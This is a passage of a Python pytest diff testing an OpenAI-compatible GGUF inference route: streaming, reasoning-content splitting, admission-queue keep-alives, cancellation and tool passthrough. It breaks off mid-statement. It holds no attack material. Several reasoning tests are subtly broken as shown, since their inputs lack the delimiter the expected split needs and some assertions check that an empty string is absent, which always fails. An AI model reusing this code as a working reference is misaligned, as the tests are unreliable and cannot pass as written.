@pytest.mark.parametrize("raw_value", ["", "not-a-float"]) + def test_openai_compat_stream_stall_timeout_invalid_env_uses_default( + self, monkeypatch, raw_value + ): + monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value) + assert _openai_compat_stream_stall_timeout() == 120.0 + + @pytest.mark.parametrize("raw_value", ["0", "-1"]) + def test_openai_compat_stream_stall_timeout_non_positive_env_disables( + self, monkeypatch, raw_value + ): + monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value) + assert _openai_compat_stream_stall_timeout() is None + + def test_openai_stream_error_sse_closes_with_done(self): + error = {"error": {"message": "boom"}} + assert _openai_stream_error_sse(error) == ( + 'data: {"error": {"message": "boom"}}\n\n' "data: [DONE]\n\n" + ) + @pytest.mark.parametrize( "finish_reason", ["stop", "length", "tool_calls", "content_filter", "function_call"], @@ -1245,6 +1841,79 @@ class TestGgufVisionToolRouting: return TestGgufVisionToolRouting._drive(_consume()) + @staticmethod + def _sse_payloads(chunks): + payloads = [] + for chunk in chunks: + if isinstance(chunk, bytes): + chunk = chunk.decode() + for line in str(chunk).splitlines(): + if not line.startswith("data: "): + continue + data = line.removeprefix("data: ") + if data == "[DONE]": + continue + try: + payloads.append(json.loads(data)) + except json.JSONDecodeError: + pass + return payloads + + def _run_gguf_case( + self, + monkeypatch, + *, + generate = None, + tool_generate = None, + payload_kwargs = None, + backend_kwargs = None, + ): + import routes.inference as inf_mod + + reset_tool_policy() + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + backend_data = { + "is_loaded": True, + "is_vision": False, + "supports_tools": tool_generate is not None, + "supports_reasoning": True, + "reasoning_always_on": True, + "_is_audio": False, + "model_identifier": "test-gguf", + "context_length": 4096, + "generate_chat_completion": generate or _plain, + } + if tool_generate is not None: + backend_data["generate_chat_completion_with_tools"] = tool_generate + if backend_kwargs: + backend_data.update(backend_kwargs) + backend = SimpleNamespace(**backend_data) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + request_data = { + "model": "default", + "messages": [{"role": "user", "content": "hi"}], + } + if payload_kwargs: + request_data.update(payload_kwargs) + payload = ChatCompletionRequest(**request_data) + response = self._drive( + openai_chat_completions(payload, request = self._Request(), current_subject = "test") + ) + result = SimpleNamespace(response = response, monitor = monitor, backend = backend) + if request_data.get("stream"): + result.chunks = self._consume_response(response) + result.payloads = self._sse_payloads(result.chunks) + else: + result.body = json.loads(response.body) + return result + def test_image_request_with_enabled_tools_enters_gguf_tool_loop(self, monkeypatch): import routes.inference as inf_mod @@ -1275,6 +1944,7 @@ class TestGgufVisionToolRouting: model = "default", enable_tools = True, enabled_tools = ["web_search"], + stream = True, messages = [ { "role": "user", @@ -1334,6 +2004,7 @@ class TestGgufVisionToolRouting: enable_tools = True, enabled_tools = ["web_search"], parallel_tool_calls = False, + stream = True, messages = [{"role": "user", "content": "search once"}], ) @@ -1390,6 +2061,1109 @@ class TestGgufVisionToolRouting: assert "confirm_tool_calls requires stream=true" in entry["error"] assert monitor.active_count() == 0 + def test_standard_gguf_stream_splits_reasoning_content(self, monkeypatch): + def _generate(**_kwargs): + yield "plan" + yield "planvis" + yield "planvisible" + yield { + "type": "metadata", + "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "finish_reason": "stop", + } + + result = self._run_gguf_case( + monkeypatch, + generate = _generate, + payload_kwargs = {"stream": True}, + ) + deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + + assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan" + assert "".join(d.get("content", "") for d in deltas) == "visible" + assert all("" not in d.get("content", "") for d in deltas) + assert all("content" in d for d in deltas if "reasoning_content" in d) + [entry] = result.monitor.snapshot() + assert entry["reply"] == "visible" + + def test_standard_gguf_stream_queued_request_sends_keepalive_before_generation( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + class Request(self._Request): + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + + def _generate(**_kwargs): + raise AssertionError("standard GGUF generation must not start while queued") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + supports_reasoning = True, + reasoning_always_on = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.standard.test", + effective_parallel_slots = 1, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + queue = get_llama_admission_queue("http://llama.standard.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + stream = True, + ) + response = await openai_chat_completions( + payload, + request = Request(), + current_subject = "test", + ) + iterator = response.body_iterator + try: + chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert chunk == ": keep-alive\n\n" + snapshot = queue.snapshot() + assert snapshot.active == 1 + assert snapshot.queued == 1 + finally: + aclose = getattr(iterator, "aclose", None) + if aclose is not None: + await aclose() + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_standard_gguf_stream_close_after_first_chunk_cleans_tracker(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + cancel_id = "standard-stream-close-cleanup" + + def _generate(**_kwargs): + yield "visible" + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + supports_reasoning = True, + reasoning_always_on = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.standard.test", + effective_parallel_slots = 1, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + stream = True, + cancel_id = cancel_id, + ) + response = await openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + iterator = response.body_iterator + assert cancel_id in inf_mod._CANCEL_REGISTRY + await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + aclose = getattr(iterator, "aclose", None) + assert aclose is not None + await aclose() + + assert cancel_id not in inf_mod._CANCEL_REGISTRY + assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0 + + asyncio.run(_run()) + + def test_standard_gguf_stream_task_cancel_after_first_chunk_finalizes_monitor( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + started = threading.Event() + released = threading.Event() + + def _generate(**kwargs): + cancel_event = kwargs["cancel_event"] + started.set() + while not cancel_event.is_set(): + time.sleep(0.005) + released.set() + yield from () + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + supports_reasoning = True, + reasoning_always_on = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.standard.test", + effective_parallel_slots = 1, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + stream = True, + ) + response = await openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + iterator = response.body_iterator + assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + pending = asyncio.create_task(iterator.__anext__()) + assert await asyncio.to_thread(started.wait, 1.0) + + await asyncio.sleep(0) + pending.cancel() + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(pending, timeout = 1.0) + + assert released.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0 + + asyncio.run(_run()) + + def test_gguf_tool_stream_queued_request_sends_keepalive_before_generation(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request(self._Request): + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + + async def fake_select_tools(*_args, **_kwargs): + return [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _generate(**_kwargs): + raise AssertionError("GGUF tool loop must not start while queued") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + supports_reasoning = True, + reasoning_always_on = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.tool.test", + effective_parallel_slots = 1, + generate_chat_completion = lambda **_kwargs: "unused", + generate_chat_completion_with_tools = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools) + + queue = get_llama_admission_queue("http://llama.tool.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + enable_tools = True, + stream = True, + ) + response = await openai_chat_completions( + payload, + request = Request(), + current_subject = "test", + ) + iterator = response.body_iterator + try: + chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert chunk == ": keep-alive\n\n" + snapshot = queue.snapshot() + assert snapshot.active == 1 + assert snapshot.queued == 1 + finally: + aclose = getattr(iterator, "aclose", None) + if aclose is not None: + await aclose() + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_gguf_tool_stream_task_cancel_after_first_chunk_finalizes_monitor(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_select_tools(*_args, **_kwargs): + return [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + started = threading.Event() + released = threading.Event() + + def _tools(**kwargs): + cancel_event = kwargs["cancel_event"] + started.set() + while not cancel_event.is_set(): + time.sleep(0.005) + released.set() + yield from () + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + supports_reasoning = True, + reasoning_always_on = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.tool.test", + effective_parallel_slots = 1, + generate_chat_completion = lambda **_kwargs: "unused", + generate_chat_completion_with_tools = _tools, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + enable_tools = True, + stream = True, + ) + response = await openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + iterator = response.body_iterator + assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + pending = asyncio.create_task(iterator.__anext__()) + assert await asyncio.to_thread(started.wait, 1.0) + + await asyncio.sleep(0) + pending.cancel() + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(pending, timeout = 1.0) + + assert released.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0 + + asyncio.run(_run()) + + def test_global_enable_tools_does_not_preempt_response_format_passthrough(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + set_tool_policy(True) + captured = {} + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("Studio tool loop should not steal response_format") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.policy.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + try: + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "json"}], + response_format = {"type": "json_object"}, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["response_format"] == {"type": "json_object"} + assert "tools" not in captured["body"] + assert "tool_choice" not in captured["body"] + finally: + reset_tool_policy() + + def test_global_enable_tools_does_not_replace_client_tools_passthrough(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + set_tool_policy(True) + captured = {} + client_tools = [ + { + "type": "function", + "function": { + "name": "client_lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("Studio tool loop should not replace client tools") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.policy.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + try: + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "use client tool"}], + tools = client_tools, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["tools"] == client_tools + assert captured["body"]["tool_choice"] == "auto" + finally: + reset_tool_policy() + + def test_global_enable_tools_honors_client_tool_choice_none(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + set_tool_policy(True) + client_tools = [ + { + "type": "function", + "function": { + "name": "client_lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _plain(**kwargs): + assert kwargs["max_tokens"] is None + yield "plain response" + + def _tools(**_kwargs): + raise AssertionError("tool_choice='none' must not start Studio's tool loop") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.policy.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + try: + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "do not use tools"}], + tools = client_tools, + tool_choice = "none", + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["choices"][0]["message"]["content"] == "plain response" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert entry["reply"] == "plain response" + assert monitor.active_count() == 0 + finally: + reset_tool_policy() + + def test_enabled_tools_without_enable_tools_keeps_response_format_passthrough( + self, monkeypatch + ): + import routes.inference as inf_mod + + reset_tool_policy() + captured = {} + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("enabled_tools alone must not start Studio's tool loop") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.enabled-tools.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "json"}], + enabled_tools = ["web_search"], + response_format = {"type": "json_object"}, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["response_format"] == {"type": "json_object"} + + def test_enabled_tools_without_enable_tools_keeps_client_tools_passthrough(self, monkeypatch): + import routes.inference as inf_mod + + reset_tool_policy() + captured = {} + client_tools = [ + { + "type": "function", + "function": { + "name": "client_lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + def _tools(**_kwargs): + raise AssertionError("enabled_tools alone must not start Studio's tool loop") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.enabled-tools.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + generate_chat_completion_with_tools = _tools, + ) + + async def fake_passthrough(llama_backend, payload, model_name, **_kwargs): + captured["body"] = inf_mod._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + return inf_mod.JSONResponse({"ok": True, "model": model_name}) + + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "use client tool"}], + enabled_tools = ["web_search"], + tools = client_tools, + ) + response = self._drive( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + + assert json.loads(response.body)["ok"] is True + assert captured["body"]["tools"] == client_tools + assert captured["body"]["tool_choice"] == "auto" + + def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch): + def _generate(**_kwargs): + yield "planvisible" + yield { + "type": "metadata", + "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "finish_reason": "stop", + } + + result = self._run_gguf_case( + monkeypatch, + generate = _generate, + payload_kwargs = {"stream": True}, + backend_kwargs = {"reasoning_always_on": False}, + ) + deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + + assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan" + assert "".join(d.get("content", "") for d in deltas) == "visible" + [entry] = result.monitor.snapshot() + assert entry["reply"] == "visible" + + def test_reasoning_capable_gguf_stream_sanitizes_think_tags_when_disabled(self, monkeypatch): + def _generate(**_kwargs): + yield "leakedvisible" + yield { + "type": "metadata", + "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "finish_reason": "stop", + } + + result = self._run_gguf_case( + monkeypatch, + generate = _generate, + payload_kwargs = {"stream": True, "enable_thinking": False}, + backend_kwargs = {"reasoning_always_on": False}, + ) + deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + + assert "".join(d.get("reasoning_content", "") for d in deltas) == "leaked" + assert "".join(d.get("content", "") for d in deltas) == "visible" + assert all("" not in d.get("content", "") for d in deltas) + [entry] = result.monitor.snapshot() + assert entry["reply"] == "visible" + + def test_gguf_tool_stream_splits_reasoning_and_strips_gemma_tool_marker(self, monkeypatch): + def _tools(**_kwargs): + yield { + "type": "content", + "text": 'planvisible <|tool_call>call:terminal{command:"ls"}', + } + yield { + "type": "metadata", + "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "finish_reason": "stop", + } + + result = self._run_gguf_case( + monkeypatch, + tool_generate = _tools, + payload_kwargs = { + "stream": True, + "enable_tools": True, + "enabled_tools": ["terminal"], + "messages": [{"role": "user", "content": "list files"}], + }, + ) + deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + + assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan" + combined_content = "".join(d.get("content", "") for d in deltas) + assert combined_content == "visible " + assert "<|tool_call>" not in combined_content + [entry] = result.monitor.snapshot() + assert entry["reply"] == "visible " + + def test_gguf_tool_stream_flushes_held_text_before_status_reset(self, monkeypatch): + def _tools(**_kwargs): + yield {"type": "content", "text": "answer <"} + yield {"type": "status", "text": ""} + yield { + "type": "metadata", + "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "finish_reason": "stop", + } + + result = self._run_gguf_case( + monkeypatch, + tool_generate = _tools, + payload_kwargs = { + "stream": True, + "enable_tools": True, + "enabled_tools": ["terminal"], + "messages": [{"role": "user", "content": "say literal"}], + }, + ) + deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + + combined_content = "".join(d.get("content", "") for d in deltas) + assert combined_content == "answer <" + [entry] = result.monitor.snapshot() + assert entry["reply"] == "answer <" + + def test_non_streaming_gguf_splits_reasoning_content(self, monkeypatch): + def _generate(**_kwargs): + yield "planvisible" + yield { + "type": "metadata", + "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "finish_reason": "stop", + } + + result = self._run_gguf_case(monkeypatch, generate = _generate) + body = result.body + message = body["choices"][0]["message"] + + assert message["content"] == "visible" + assert message["reasoning_content"] == "plan" + [entry] = result.monitor.snapshot() + assert entry["reply"] == "visible" + + def test_standard_gguf_non_streaming_admission_timeout_before_generation(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request(self._Request): + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + + def _generate(**_kwargs): + raise AssertionError("standard GGUF generation must not start while queued") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.standard.test", + effective_parallel_slots = 1, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01") + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + queue = get_llama_admission_queue("http://llama.standard.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + ) + try: + with pytest.raises(HTTPException) as exc: + await openai_chat_completions( + payload, + request = Request(), + current_subject = "test", + ) + assert exc.value.status_code == 503 + finally: + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + def test_standard_gguf_non_streaming_cancel_id_stops_queued_request_before_generation( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + class Request(self._Request): + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + + def _generate(**_kwargs): + raise AssertionError("standard GGUF generation must not start after cancel_id") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.standard.test", + effective_parallel_slots = 1, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + queue = get_llama_admission_queue("http://llama.standard.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + cancel_id = "standard-nonstream-admission-cancel" + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + cancel_id = cancel_id, + ) + task = asyncio.create_task( + openai_chat_completions( + payload, + request = Request(), + current_subject = "test", + ) + ) + try: + for _ in range(50): + if cancel_id in inf_mod._CANCEL_REGISTRY: + break + await asyncio.sleep(0.01) + assert cancel_id in inf_mod._CANCEL_REGISTRY + assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1 + with pytest.raises(HTTPException) as exc: + await asyncio.wait_for(task, timeout = 0.5) + assert exc.value.status_code == 499 + finally: + if not task.done(): + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + blocker.release() + + assert cancel_id not in inf_mod._CANCEL_REGISTRY + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_standard_gguf_non_streaming_admission_task_cancel_cleans_tracker_and_slot( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + cancel_id = "standard-nonstream-task-cancel" + + async def fake_wait(*_args, **_kwargs): + raise asyncio.CancelledError() + + def _generate(**_kwargs): + raise AssertionError("standard GGUF generation must not start after task cancel") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.standard.test", + effective_parallel_slots = 1, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr( + inf_mod, + "_wait_for_openai_admission_non_streaming", + fake_wait, + ) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + cancel_id = cancel_id, + ) + with pytest.raises(asyncio.CancelledError): + await openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + + assert cancel_id not in inf_mod._CANCEL_REGISTRY + assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0 + + asyncio.run(_run()) + + def test_gguf_tool_non_streaming_admission_timeout_before_generation(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request(self._Request): + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + + async def fake_select_tools(*_args, **_kwargs): + return [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + def _generate(**_kwargs): + raise AssertionError("GGUF tool loop must not start while queued") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.tool.test", + effective_parallel_slots = 1, + generate_chat_completion = lambda **_kwargs: "unused", + generate_chat_completion_with_tools = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01") + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools) + + queue = get_llama_admission_queue("http://llama.tool.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + enable_tools = True, + ) + try: + with pytest.raises(HTTPException) as exc: + await openai_chat_completions( + payload, + request = Request(), + current_subject = "test", + ) + assert exc.value.status_code == 503 + finally: + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + def test_gguf_tool_non_streaming_cancel_drains_worker_before_releasing_slot(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_select_tools(*_args, **_kwargs): + return [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ] + + started = threading.Event() + released = threading.Event() + + def _tools(**kwargs): + cancel_event = kwargs["cancel_event"] + started.set() + while not cancel_event.is_set(): + time.sleep(0.005) + released.set() + yield from () + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.tool.test", + effective_parallel_slots = 1, + generate_chat_completion = lambda **_kwargs: 